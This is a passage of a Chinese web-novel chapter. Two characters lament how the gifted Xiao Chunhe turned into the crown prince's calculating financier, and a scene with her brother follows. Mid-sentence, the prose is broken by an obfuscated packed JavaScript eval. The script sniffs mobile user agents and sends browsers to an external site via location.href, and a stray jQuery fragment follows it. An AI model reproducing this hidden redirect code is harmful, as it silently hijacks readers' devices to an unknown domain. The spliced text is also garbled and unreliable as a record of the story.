扶登秦脑海中不由得勾勒出一个眼神清亮、带着点不服输倔强的少女形象,与方才那个字字句句滴水不漏、将责任分摊得条理清晰的萧春和,判若两人。
“那时我便说过,”
公孙止的声音里带着一丝早已沉淀的感叹:
“此女心智之敏,思虑之深,若为男儿身,当有入阁拜相之能。”
“先生竟如此赞誉她?”扶登秦有些惊讶。
公孙止为人沉凝,眼光极高,极少如此直白地盛赞他人。
公孙止坦诚道:“是赞誉,亦是事实。”
“春和她胸有丘壑,不拘一格,那份洞察世情、权衡利弊的早慧,在同辈中,实属罕见。”
“书院清谈辩论,她总能抓住要害,言辞犀利却不失章法,常令对手折服。”
他顿了顿,那点微弱的暖意彻底敛去,语气变得沉缓:
“直到……她十四岁那年,太子殿下来书院听讲学,与她结识之后......”
扶登秦的心轻轻一沉。
太子二字,此刻听来带着冰冷的重量。
公孙止:“那时的太子,温文尔雅,礼贤下士,对书院理念颇多认同,尤其对萧春和那份与众不同的聪慧与见解,激赏不已。”
“两人年纪相仿,志趣……至少在彼时看来,相投。书信往来,谈古论今,日渐亲密。”
扶登秦追问:“后来呢?”
她隐隐感觉到,转折点就在此处。
公孙止的指尖在碗沿轻轻敲了一下:“后来?”
“后来,萧春和便向云山书院院长请辞了。说是家中产业需要人手,身为嫡长女,责无旁贷。那时,太子已在暗中经营势力,急需一个能掌控庞大财源、又能为他筹谋内外的得力臂助。萧氏皇商的身份,萧春和过人的才干,恰如天作之合。”
帐内一时寂静,只余药炉里炭火细微的噼啪声。
公孙止没有再说下去,但那未尽之意已然明了。
萧春和离开了可以让她思想自由翱翔的书院,投身于太子为她划定的、以“萧氏”和“太子妃”为名的华丽牢笼之中。
扶登秦沉默了。
她想起萧春和方才在众人面前的模样:言辞精准,逻辑缜密,将一场几乎要了人命的重大事故,轻描淡写地转化为一场“成本与性能”、“拨款与责任”的冰冷计算。
那份掌控全局的从容,那份将人情与伤痛都量化为筹码的冷酷,那份端方姿态下掩藏的强势……这确实是将经商之道与权术心机运用到了极致。
萧春和为太子经营着庞大的财源与人脉网络,手腕之老练,心思之深沉,恐怕朝中许多老臣都未必及得上。
扶登秦斟酌着词句,试图理解那巨大的转变:“所以,她如今这般……”
“是……得偿所愿,如鱼得水?”
公孙止缓缓摇头,那深潭般的眼眸里,第一次清晰地浮现出名为“惋惜”的情绪,浓重得化不开。
“如鱼得水?”他重复了一遍,带着一丝冷峭的意味。
公孙止:“或许在旁人看来,她将萧家产业打理得蒸蒸日上,深得太子倚重,离那母仪天下的位置仅一步之遥,自然是风光无限,得偿所愿。”
可说完那番后,公孙止停顿片刻,目光落在扶登秦脸上,带着一种穿透表象的锐利:“但秦儿,你跳出与她针锋相对的立场,细看她今日言行举止,可曾觉得……像?”
扶登秦一怔,脑海中瞬间闪过萧春和的身影:
那身天水碧云锦长裙一丝不苟的剪裁,发髻上价值连城的羊脂白玉簪,耳畔恰到好处的珍珠坠子,连踩着昂贵毡毯下车的姿态都像是精心计算过角度,力求那份“白鹤涉水,不染纤尘”的完美仪态。
她的每一句话,每一个眼神,都像是照着“未来太子妃”、“贤内助”的模板,精准复刻出来的。
“像……”
扶登秦喃喃道,一股复杂的情绪涌上心头,带着同为女子的敏锐与一丝难以言喻的悲哀。
扶登秦:“像一幅……画。一幅工笔细描、价值连城、却失了鲜活神韵的仕女图。她在模仿,模仿她认为‘应该’成为的样子——端庄、得体、明理、识大体、永远将‘大局’置于个人情感之上,甚至置于人命安危之上。”
她想起萧春和扫过自己与公孙止时那几不可察的蹙眉,那眼神并非厌恶,更像是在审视一处有碍观瞻、需要尽快清理的“不整洁”。
那份高高在上的疏离感,并非天生贵气,更像是后天精心打磨出的保护壳,或者说……伪装。
扶登秦:“先生当年赞誉她‘有入阁拜相之能’。”
“如今看来,这份‘能’,全数化作了替太子权衡利弊、掌控财源、甚至……粉饰太平的‘能’。”
“她将自己活成了太子手中最锋利也最称手的一把算盘,每一颗珠子拨动,都精准地落在‘利’字之上。”
“那份曾让先生也为之侧目的、属于萧春和本身的肆意锋芒与鲜活心智呢?是否早已在日复一日模仿‘贤良淑德’、计算得失盈亏中,被磨平了棱角,锁进了深闺?”
公孙止静静听着扶登秦的话,没有反驳。
他看着帐外阴沉的天色,仿佛看到了当年云山书院后山,那个因辩论获胜而笑得眉眼弯弯、不顾形象地坐在石阶上、衣袖沾了墨渍也浑不在意的少女。
那时的光芒,是发自内心的璀璨。
而今日工地上那个萧春和,周身笼罩的光华,却像她裙摆上的银线缠枝莲,是精心绣上去的,再耀眼,也失了那份源自灵魂的热度。
公孙止最终开口,声音低沉得如同叹息:
“模仿得久了,或许连她自己,也分不清那副完美的面具之下,是否还藏着当初那个萧春和了。所求为何?是那顶凤冠的重量,还是……早已在日复一日的‘应该如此’中,忘了自己本来的模样?”
他看向扶登秦:“秦儿,你要的那个‘解释’,或许连她自己,也给不出了。”
帐内再次陷入沉寂。
甜羹的热气早已散尽,只留下温
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936834|177254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凉的瓷碗。
扶登秦看着碗中凝固的羹汤表面,仿佛看到了萧春和那层完美无瑕却冰冷坚硬的表象。
扶登秦所求太子的解释,是关乎人命与公理;而萧春和这个人本身,何尝不是一个巨大的、令人扼腕的、关于“失去自我”的无声解释?
那支插在她发髻上的羊脂白玉簪,温润依旧,却像一道冰冷的封印,锁住了曾经可能翱翔九天的羽翼。
扶登秦心底那股愤怒依旧燃烧,却又悄然渗入一丝同为女子、对另一种无形枷锁的沉重悲悯。
同一时间·萧氏临时库房外
临时搭建的凉棚勉强遮挡着午后略显刺目的光线。
萧春和端坐其中,身姿笔挺如尺量过,天水碧的云锦裙摆在简陋的木凳上铺开,依旧纤尘不染。
她面前摊开两份东西:一份是扶登秦那份改良铆钉的手札图纸副本,墨线清晰,标注严谨;
另一份则是新送来的工料采买单,墨迹未干,上面“足料足工”几个字下,紧跟着一串令人心惊肉跳的数字。
萧春和洁白指尖点在采买单上,沿着那串长长的、代表着巨额白银消耗的数字缓缓滑下。
她那秀气的眉几不可察地蹙紧了一瞬,随即又舒展开,快得像从未出现过,只余下眼底一片如同计算最优解般的考量。
这成本,远超预期,几乎要蚀掉这趟皇差的利润。
她心中默算着,如何从别处挪补,如何在向太子陈情时,将这“损失”转化为更重要的“忠诚”与“顾全大局”。
萧景明站在一旁,指挥着仆役将第一批按“原版”要求、不惜工本赶制出来的新铆钉小心搬入库房。
那些铆钉泛着冷硬纯粹的金属光泽,沉甸甸的,与之前断裂的劣品天壤之别。
然而,他的目光却有些飘忽,时不时越过杂乱堆放的工料,投向巫工驻地深处,尤其是那顶属于扶登秦的低矮小帐。
萧景民眉宇间的烦躁与憋闷,全然被姐姐看在眼里。
萧春和清泠泠的声音道破他的心思:“还在想那位扶工正?”
萧景明猛地回神,脸上掠过一丝被看穿的狼狈,随即化为更深的烦躁和不忿:“阿姐,你说她……她怎么就那么轴?明知去问太子殿下也未必能讨到好,甚至可能……”
他咽下了“自取其祸”几个字,语气急促地说:
“萧氏认罚,工料也按她的要求重做了,还不够吗?非要揪着那个所谓的‘解释’不放!”
萧春和从图纸上抬起眼。
她那双沉静的眸子看向弟弟,带着洞悉世情的审视,仿佛在评估一件商品的价值波动,又或是在分析一场棋局的走向。
萧春和平静无波的说道:
“你觉得,她仅仅是为了阿桃的腿,或是她自己受伤的手?”
萧景明烦躁地扯了扯束发的赤金发带:
“不然呢?”
“她难道还想凭一己之力,撼动东宫不成?”
萧景明无法理解那种近乎飞蛾扑火的执着。